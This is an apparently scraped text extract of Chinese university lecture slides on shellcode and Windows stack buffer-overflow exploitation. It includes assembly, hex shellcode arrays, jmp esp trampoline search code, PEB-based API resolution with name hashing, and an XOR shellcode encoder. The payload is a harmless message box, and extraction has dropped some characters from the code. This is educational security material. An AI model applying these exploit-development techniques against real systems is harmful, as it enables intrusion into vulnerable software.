05_CC++漏洞_Shellcode.ppt_第1页
05_CC++漏洞_Shellcode.ppt_第2页
05_CC++漏洞_Shellcode.ppt_第3页
05_CC++漏洞_Shellcode.ppt_第4页
05_CC++漏洞_Shellcode.ppt_第5页
已阅读5页,还剩71页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、安全性编程方法,天津农学院 计算机系 许晓华,2020/8/3,第5讲 Shellcode,2020/8/3,5.1 Shellcode 概述,5.1.1 shellcode 与 exploit shellcode : 缓冲区溢出攻击中植入进程的代码. exploit : 代码植入的过程,也叫漏洞利用. exploit 的作用: 淹没返回地址,劫持进程的控制权,之后跳转去执行shellcode. Shellcode具有一定的通用性. Exploit 往往针对特定漏洞.,2020/8/3,利用VC+6.0制造ShellCode,三个步骤: 第一,首先利用VC+6.0写出实现自己想要的功能的代码

2、第二,利用VC+6.0的调试功能下断点并反汇编,得到上述代码的汇编指令。 第三,将汇编指令重新编译,再次利用VC+的调试功能,查看内存数据,获取最终的十六进制Shellcode代码。,2020/8/3,第一步,运行VC+6.0,选择“文件”中的”新建”,建立一个”C+ Source File”,并将文件名设定为”shellcode”。 输入如下代码后,编译运行,结果如图所示。,#include void main() MessageBoxA(NULL,NULL,NULL,0); ,2020/8/3,第二步,在代码MessageBoxA的位置按F9键下一个断点。 按F5键进行调试,程序会在断点处

3、中断 按Alt+8进行反汇编,可看到MessageBoxA函数调用所对应的5行汇编指令。 按住Alt键选中这5行汇编指令,按Ctrl+C进行复制。,2020/8/3,Shift+F5结束调试 重新建立一个”C+ Source File”文件,取名为”assemcode”,输入如下代码,#include void main() _asm/这是VC+调用汇编指令的标识符 push 0 push 0 push 0 push 0 call dword ptr _imp_MessageBoxA16 (0042a2ac) ,2020/8/3,按F7键进行编译,提示出错,如图所示,错误原因在于最后一行汇编指

4、令 call dword ptr _imp_MessageBoxA16 (0042a2ac) 这是个间接内存调用指令,即这条指令实际调用的指令地址应该是保存在0042a2ac地址中。所以应该将真正的地址取出来,再写入汇编指令中(这个地址就是MessageBoxA函数在操作系统中的地址),2020/8/3,重新打开Shellcode工程,还是在MessageBoxA一行下一个断点,然后按F5进行调试。 调试状态下会有个”Memory”窗口,意思是查看内存中数据的窗口,若没有这个窗口按Alt+6即可打开 在”Memory”地址一栏输入” 0042a2ac”,回车。 可看到” 0042a2ac”中保

5、存的真实地址为“75D9EA11”,2020/8/3,修改”assemcode”的代码如下,运行,发现他同样弹出了错误对话框。,#include void main() LoadLibrary(user32.dll);/MessageBoxA函数在这个库文件中 _asm/这是VC+调用汇编指令的标识符 push 0 push 0 push 0 push 0 mov eax,0 x75D9EA11/将MessageBoxA函数的地址保存在eax寄存器 call eax/调用MessageBoxA函数 ,2020/8/3,第三步,下面需要将汇编指令转换为对应的十六进制机器码。 在call eax行

6、下断点 然后F5、Alt+8 可以看到汇编指令的地址从0040103C到0040104A,2020/8/3,在”Memory”窗口输入0040103C,记录从0040103C到0040104A对应的十六进制机器码 6A 00 6A 00 6A 00 6A 00 B8 11 EA D9 75 FF D0,2020/8/3,调用十六进制机器码,#include void main() LoadLibrary(user32.dll); char myshellcode=x6Ax00 x6Ax00 x6Ax00 x6Ax00 xB8x11xEAxD9x75xFFxD0; void *p= _asm c

7、all p ,2020/8/3,5.2 定位Shellcode,4.4的代码植入实验,使用越界的字符完全控制返回地址后,需要将返回地址改写成shellcode在内存中的起始地址。 在实际的漏洞利用过程中,由于动态链接库的装入和卸载等原因,windows进程的函数栈帧很有可能会产生“移位”,即shellcode在内存中的地址是会动态变化的,因此像4.4那样将返回地址简单地覆盖成一个定值的作法往往不能让exploit奏效。,2020/8/3,2020/8/3,因此必须想办法在程序运行时动态定位栈中的shellcode。 回顾4.4实验在verify_password函数返回后栈中的情况:,2020

8、/8/3,栈帧布局图,形参:password,返回地址,前栈帧EBP,authenticated (0 x00000001),buffer47 (ASCII: q q q null),buffer03 (ASCII: q q q q),2020/8/3,2020/8/3,绿色的线条体现了代码植入的流程:将返回地址淹没为手工查出的shellcode起始地址 0 x0012FAF0 ,函数返回时这个地址被弹入EIP寄存器,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。 红色的线条则点出了这样一个细节:在函数返回的时候,ESP恰好指向栈帧中返回地址的后一个位置! 一般

9、情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置。,2020/8/3,2020/8/3,由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,可以使用上图所示的这种定位shellcode的方法来进行动态定位: 用内存中任意一个jmpesp指令的地址覆盖函数返回地址,而不是原来用手工查出的shellcode起始地址直接覆盖 函数返回后被重定向去执行内存中的这条jmpesp指令,而不是直接开始执行shellcode 由于esp在函数返回时仍指向栈区(函数返回地址之后),jmpesp指令被执行

10、后,处理器会到栈区函数返回地址之后的地方取指令执行。 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样jmpesp指令执行过后会恰好跳进shellcode。 这种定位shellcode的方法使用进程空间里一条jmpesp指令做“跳板”,不论栈帧怎么“移位”,都能够精确的跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。,2020/8/3,把4.4中的password . txt文件改造成上述思路的exploit,并加入安全退出的代码避免点击消息框后程序的崩溃。 必须首先

11、获得进程空间内一条jmpesp指令的地址作为“跳板”。 4.4中有漏洞的密码验证程序已经加载了user32 . dll,所以使用user32 . dll中的jmpesp指令做为跳板。,2020/8/3,有两种方法获得跳转指令。 编程 通过OllyDbg的插件,2020/8/3,/ jmp?esp对应的机器码是 0 xFFE4 /从user32.dll在内存中的基地址开始向后搜索 0 xFFE4,并返回其内存地址(指针值) /#include stdafx.h #include stdlib.h #include #include void main () BYTE *ptr;/typedef

12、unsigned char BYTE; int position, address ; BOOL done_flag = FALSE ; HINSTANCE handle = LoadLibrary (user32.dll); if (! handle ) printf( load dll error! ); exit(0); ptr = (BYTE *) handle ; for ( position = 0 ; !done_flag ; position +) try if ( ptr position = 0 xFF ,2020/8/3,除此以外,还可以通过OllyDbg的插件轻易的获得

13、整个进程空间中的各类跳转地址。 下载插件OllyUni.dll,把它放在OllyDbg目录下的Plugins文件夹内,重新启动OllyDbg进行调试,将user32.dll拖动到ollydbg里,在代码框内单击右键,就可以使用这个插件了,如图:,2020/8/3,2020/8/3,在制作exploit的时候,还应当修复4.4中的shellcode无法正常退出的缺陷。 方法:在调用MessageBox之后,调用exit函数让程序退出。,2020/8/3,仍然用dependencywalker获得这个函数的入口地址。 如图,ExitProcess是kernel32 . dll的导出函数 首先查出k

14、ernel32 . dll的加载基址: 0 x7C800000 然后加上函数的偏移地址: 0 x0001CDDA 得到函数入口最终的内存地址 0 x7C81CDDA 。,2020/8/3,2020/8/3,写出的shellcode的源代码如下:,#include stdafx.h #include void main () HINSTANCE LibHandle ; char dllbuf 11 = user32.dll ; LibHandle = LoadLibrary(dllbuf); _asm sub sp , 0 x440 xor ebx , ebx push ebx / cut st

15、ring push 0 x756F5965 push 0 x766F4C49 /push ILOVEU mov eax , esp /load address of failwest push ebx push eax push eax push ebx mov eax , 0 x77D507EA / address should be reset in different OS call eax /call MessageboxA push ebx mov eax , 0 x7C81CAFA call eax /call exit(0) ,2020/8/3,为了提取出汇编代码对应的机器码,我

16、们将上述代码用VC6 .0 编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:,2020/8/3,2020/8/3,2020/8/3,现在已经具备了制作新exploit需要的所有信息: 搜索到的jmpesp地址,即用作重定位shellcode的“跳板”:0 x77DC14CC 修改后并重新提取得到的shellcode:,2020/8/3,2020/8/3,运行结果(弹出对话框且不报错),2020/8/3,5.3 缓冲区的组织,5.3.1 缓冲区的组成 进入缓冲区的数据: 填充物: 一般为0 x90 (NOP) 淹没返回地址的数据: 跳转指令的地址 S

17、hellcode起始地址 近似的shellcode地址 shellcode:,2020/8/3,不同缓冲区的组织方式,2020/8/3,shellcode布置在返回地址之后的坏处,返回地址之后是前栈桢数据,而实用的shellcode往往需要几百个字节,这样大规模地破坏前栈桢数据有可能引发一些问题,2020/8/3,shellcode布置在缓冲区内的好处,合理利用缓冲区,使攻击串的总长度减小 对程序破坏小,比较稳定.,2020/8/3,5.3.2 抬高栈顶保护shellcode,shellcode布置在缓冲区内的坏处:,2020/8/3,为了使shellcode具有较强的通用性,通常会在shel

18、lcode一开始就大范围抬高栈顶,把shellcode”藏”在栈内,从而达到自身保护的目的.,2020/8/3,2020/8/3,5.3.3 使用其他跳转指令,2020/8/3,5.3.4 不使用跳转指令,2020/8/3,5.3.5 函数返回地址移位,2020/8/3,Strcat产生的漏洞,2020/8/3,成功率只有1/4,2020/8/3,5.4 开发通用的shellcode,5.4.1 定位API的原理 Windows API是通过动态链接库中的导出函数来实现的 内存操作等函数kernel32.dll 图形界面相关的API-user32.dll Win32平台下的shellcode使

19、用最广泛的方法-从进程控制块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用. 所有的Win32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库.,2020/8/3,定位kernel32.dll 中API地址的方法,通过段选择字FS在内存中找到当前的线程控制块TEB TEB偏移位置为0 x30处存放着指向进程控制块PEB的指针. PEB偏移位置为0 x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息. PEB_LDR_DATA偏移位置为0 x1C的地方存放着指向模块初始化链表的头指针InIni

20、tializationOrderModuleList. InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点是kernel32.dll 找到kernel32.dll结点后,再偏移0 x08就是kernel32.dll在内存中的加载基址. 再偏移0 x3C,就是其PE头. 再偏移0 x78就存放着函数导出表的指针.,2020/8/3,在函数导出表中算出函数的入口地址,导出表偏移0 x1C处的指针指向存储导出函数偏移地址(RVA)的列表。 导出表偏移0 x20处的指针指向存储导出函数名的列表.

21、 RAV和函数名按顺序存放. RAV加上动态链接库的加载基址,就得到API此刻在内存中的虚拟地址.,2020/8/3,2020/8/3,5.4.2 shellcode的加载与调试,shellcode的最常见形式就是用转义字符把机器码存在一个字符数组中. 例如,弹出消息框并能正常退出的程序的Shellcode可以存成这样的形式.,2020/8/3,2020/8/3,如下程序,改写教材P88(本章ppt22)的弹出消息框并正常退出的程序.,2020/8/3,#include stdafx.h #include char shellcode= x66x81xECx40 x04x33xDBx53x68

22、x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xB8xEAx07xD5x77xFFxD0 x53xB8xFAxCAx81x7CxFFxD0; void main () _asm lea eax, shellcode push eax ret ,2020/8/3,5.4.3 动态定位API地址的shellcode,需要如下API函数: MessageBoxA (位于user32.dll中,用于弹出消息框) ExitProcess (位于kernel32.dll中,用于正常退出程序) LoadLibraryA (位于kernel32.dll中,在调用

23、MessageBoxA之前,先用LoadLibrary(“user32.dll”)装载其所属的动态链接库.),2020/8/3,为了让shellcode尽可能短,需要对API函数名进行hash运算,得到digest(摘要) 虽然这需要引入额外的hash算法,但可以节省代码.,2020/8/3,#include stdafx.h #include #include DWORD GetHash(char *fun_name) DWORD digest=0; while(*fun_name) digest=(digest7);/循环右移7位 digest+= *fun_name ; fun_name

24、+; return digest; main() DWORD hash; hash= GetHash(MessageBoxA); printf(result of hash is %.8xn,hash); ,2020/8/3,2020/8/3,2020/8/3,最终代码,#include stdafx.h #include #include int main() _asm nop nop nop nop nop CLD; clear flag DF ;store hash push 0 x1e380a6a;hash of MessageBoxA push 0 x4fd18963;hash of

25、 ExitProcess push 0 x0c917432;hash of LoadLibraryA mov esi,esp; esi = addr of first function hash lea edi,esi-0 xc; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0 x04 sub esp, ebx ; push a pointer to user32 onto stack mov bx, 0 x3233 ; rest of ebx is null push ebx

26、 push 0 x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:edx + 0 x30 ; ebx = address of PEB mov ecx, ebx + 0 x0c ; ecx = pointer to loader data mov ecx, ecx + 0 x1c ; ecx = first entry in initialisation order list mov ecx, ecx ; ecx = second entry in list (kernel32.dll) mo

27、v ebp, ecx + 0 x08 ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0 x1e380a6a; hash of MessageBoxA - trigger ; LoadLibrary(user32) jne find_functions xchg eax, ebp ; save current hash call edi - 0 x8 ; LoadLibraryA xchg eax, ebp ; r

28、estore current hash, and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax, ebp + 0 x3c; eax = start of PE header mov ecx, ebp + eax + 0 x78; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, ecx + 0 x20 ;

29、 ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, ebx + edi * 4 ; esi = relative offset of current function name add esi, ebp ; esi = absolute a

30、ddr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax, byte ptresi cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, esp + 0 x1c ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop m

31、ov ebx, ecx + 0 x24 ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, ebx + 2 * edi ; di = ordinal number of matched function mov ebx, ecx + 0 x1c ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp

32、, ebx + 4 * edi ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to edi and increment edi push edi popad; restore registers ; loop until we reach end of last has

33、h cmp eax,0 x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx/ cut string push 0 x74736577 push 0 x6C696166/push failwest mov eax,esp/load address of failwest push ebx push eax push eax push ebx call edi - 0 x04 ; /call MessageboxA push ebx call edi - 0 x08 ; / call ExitProcess no

34、p nop nop nop ,2020/8/3,16进制机器码如下,char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59

35、 x20 x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8;,2020/8/3,#include stdafx.

36、h #include #include char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59 x20 x03xDDx33

37、xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8; void main () _asm lea eax, popup_genera

38、l push eax ret ,2020/8/3,5.5 shellcode编码技术,2020/8/3,2020/8/3,基于异或运算的编码器,#include stdafx.h #include #include #include #include char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1C

39、x8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59 x20 x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77

40、x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8x90;/shellcode should be ended with 0 x90,2020/8/3,void encoder (char* input, unsigned char key, int display_flag)/ bool display_flag int i=0,len=0; FILE * fp; unsigned char * output; len = strlen(input); output=(unsigned char *)malloc

41、(len+1); if(!output) printf(memory erro!n); exit(0); ,2020/8/3,/encode the shellcode for(i=0;ilen;i+) outputi = inputikey; if(!(fp=fopen(encode.txt,w+) printf(output file create erro); exit(0); fprintf(fp,); for(i=0;ilen;i+) fprintf(fp,x%0.2x, outputi); if(i+1)%16=0) fprintf(fp,n); ,2020/8/3,fprintf

42、(fp,;); fclose(fp); printf(dump the encoded shellcode to encode.txt OK!n); if(display_flag)/print to screen for(i=0;ilen;i+) printf(%0.2x ,outputi); if(i+1)%16=0) printf(n); free(output); void main() encoder(popup_general,0 x44 ,1); ,2020/8/3,运行后得到的shellcode,xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30 xd5x48 xcfxb0 xc9x3axb0 x77x9fxf3x40 x6fxa7x22xffx77x76x17 x2cx31x37x21x36x10 x77x96x20 xcfx1ex74xcfx0fx48xcf x0dx58xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1 xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1d x64x47x99x77xbbx03xcfx70 xffx47xb1xddx4bxfax42x7e x80 x30 x4cx85x8ex43x47x94x02xafxb5x7

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论